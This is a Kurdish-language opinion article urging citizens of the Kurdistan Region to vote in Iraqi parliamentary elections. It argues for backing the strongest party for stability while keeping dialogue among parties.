ئهركهكه ل سهر ههر وهلاتیهكێ كوردستانى كو گرنگیا پشكداریكرنێ د ههلبژارتنان دا بزانیت، چونكو پرۆسهیا ههلبژارتنان دهێته ههژمارتن وهكو ئێك ژ گرنگترین ستوونێن سیستهمێ سیاسى، و پشكداریكرن د ڤێ پرۆسێ دا تهڤگهرهكه بۆ خورتكرنا ڤى سیستهمى و جێبهجێكرنا حوكمهتهكێ پشتبهستنێ ب ئیرادهتا گهل دكهت، ئهڤجا دهنگدان ئالاڤهكێ گرنگ و سهرهكى یه، چونكو ههڤوهلاتى د ناڤێ وێ پرۆسێ دا دكاریت كارتێكرنێ ل سهر بریارێن حكومى بكهت و چهندى گهرهنتیهك ههبیت بۆ ئازادیا دهربرینێ، لهورا چو گرۆڤهیان نابینین كو خۆشیێ ب ڤى مافێ خوه نهبهن. ههرێما كوردستانێ فرهجۆریا حزبێن سیاسى ههیه و ب رۆلێ خوه كاریگهریێ ل سهر لڤین و رێڤهچوونا سیستهمێ سیاسى دكهت، بهلێ حزبا ب هێزتر باندۆرا مهزنتر ههیه بهلكو یا راستهوخوه. د راستى دا ههرێما كورستانێ یا د ناڤا گهلهك ململانهیێن مهزن و جۆرهوجۆرا دا دهربازدبیت و ژ وان ژى ئاریشهیێن د ناڤبهرا ههرێمێ و بهغدایێ دا و دێ ب رهنگهكێ نهرێنى كارتێكرنێ ل سهر پاشهرۆژا ههرێمێ كهت ههكه هاتو چو هێزهك نهبیت بهرسینگێ ڤان ململانان نهگریت، و ژ بهر هندێ ب رێیا ههلبژارتنا حزبا ب هێزتر بۆ دهستهبهركرنا سهقامگیریا ههرێمێ و بهردهوامیدانا وێ، چونكو ههبوونا دهستههلاتهكا ب هێز پرسهكا پێدڤیه، دا كو رۆلێ خوه بگریته بهر ژبۆ رێكخستنا پێداویستیین دیمۆكراسیێ و ب رێیا سهرپهرشتیكرنا راستهوخوه ل سهر سازیێن فهرمى و نهیێن فهرمى زێدهبارى دویڤداچوونا رۆلێ رێخراوێن نه حكومى. ب ڤێ چهندێ مسۆگهر رۆلێ حزبێن دیتر پاشگوه نائێخیت ب وى رۆلێ وان یێ گرنگ بۆ دروستكرنا سیاسهتا گشتى و چارچۆڤهكرنا وێ، چونكو ههڤركیا سیاسى د ناڤ ههلبژارتان دا، وێ هاریكاریا سیاسى پاشگوه نائێخیت ژ بهر وى رۆلێ گهلهكێ گرنگ بۆ بجهئانینا وان ئارمانجێن هاتینه دهستنیشانكرن بۆ ههرێما كوردستانێ چونكو باوهرى و ههماههنگى د ناڤبهرا حزبێن سیاسى دا، زهمینێ بۆ بجهئانینا رێیێن ئاشتیێ و سهقامگیریێ خۆشدكهت، لهورا دبینین كو دیالۆگ د ناڤبهرا حزبان دا تشتهكێ گرنگه بۆ دوورخستن ژ قهیرانان و بۆ دابینكرنا خورتكرنا گیانێ دیمۆكراسیهتێ و ئهڤه ژى بهاگرانتره ژ ئهو تشتێ ههیى كو تنێ ههڤركیكرنهك دهنگدانانه. بێگومان جۆراتیا ژیانا سیاسى رهنگڤهدانا ئیرادهتا حزبێن دهستههلاتداره، لهورا ههڤركیكرنا سیاسى و ههماههنگى د ناڤبهرا وان دا گرنگه ل گهل ههڤ پێشڤهبچن. وهكى دى ژى دهربارهى سیستهمێ دهنگدانێ، د راستى دا چو سیستهمێن نموونهیى و رههیایى بۆ نینن، چونكو پێشڤهچوون و سروشت و بارودۆخێن جڤاكان د ژێكجودانه و پشى پلهیا پێشڤهبرنا سیستهمێن وێ یێن سیاسى ژى د ژێكجودانه وهكو ئێك نینن، ئهڤه ژى رامان ژێ ئهو نینه كو ههر جڤاكهك ئۆمێدا سیستهمهكێ دهنگدانێ یێ باشتر نینه، بهلێ ژێگرتنا سیستهمى ب گۆرهیى بارودۆخێن بهربهرلاڤن ل وهلاتی. و ژپێخهمهت سهرخستنا پرۆسا سیاسى دیمۆكراسى و بجهئانینا هیڤیێن گهلێ كوردستانى، یا فهره میناكترین نوونهراتى بۆ ههڤوهلاتیان بهێتهكرن ژبۆ پشكدایكرنا وان د دروستكرنا بریارا سیاسى دا و ئهو ژ ب رێیا چوونا دهنگدانێ ل رۆژا ههلبژارتنان. وهكو ل پێش مه ئاماژه دایى كو پشكداریكرنا سیاسى هینگى زێدهدبیت ب زێدهبوون و باشكرنا ئهنجامدانا ئابۆرى و ب مهزنبوونا قهبارهیێ تهخا ناڤهندى، و ب بلندبوونا ئاستێ فێركرنێ، و هوشمهندیا گشتى، ههروهسا ژى باشكرنا رهوشا سیاسى و ئابۆرى میناكا باشترینه یا كو ئازادیا سیاسى و یا ئابوۆرى تهڤلى ههڤ بكهت و ل دوماهیێ پێشڤهچوونا دیمۆكراسیێ، زێدهبارى هندێ ههستهكێ بۆ دهنگدهرى پهیدا بكهت كو پرۆسا ههلبژارتنان ب وان شێوازێن كارتێكرنێ ل سهر حوكمهتێ و سیاسهتێن وێ بجهبینیت، ب وێ رامانێ كو دهنگدهرى شیانێن ههلبژارتنێ ههبن د ناڤبهرا حزبێن جۆره و جۆرا دا، یان د ناڤبهینا بهربژاران دا كو پهیوهست ببن ب حزبێن جۆرا و جۆرا دا و ب ڤێ چهندێ دهنگدهر دێ ههست كهت كو دهنگێ وى كارتێكرنهكا راست ل سهر پێكهاتهیا وێ ههبیت بهلێ فهره ل سهر ڤى دهنگدهى كو بزانیت ئهڤ ههلبژارتنێن ههنێ بۆ پهرلهمانێ ئیراقێ یه و نهك بۆ پهرلهمانێ كوردستانێ، ژبهر هندێ دهنگدانا وى بۆ حزبا ب هێزتر و چاكتر بۆ دهستهبهركرنا پاراستنێ یه بهرگریكرن ژ مافێن گهلێ كوردستانێ.
WP Facebook Auto Publish Powered By : XYZScripts.com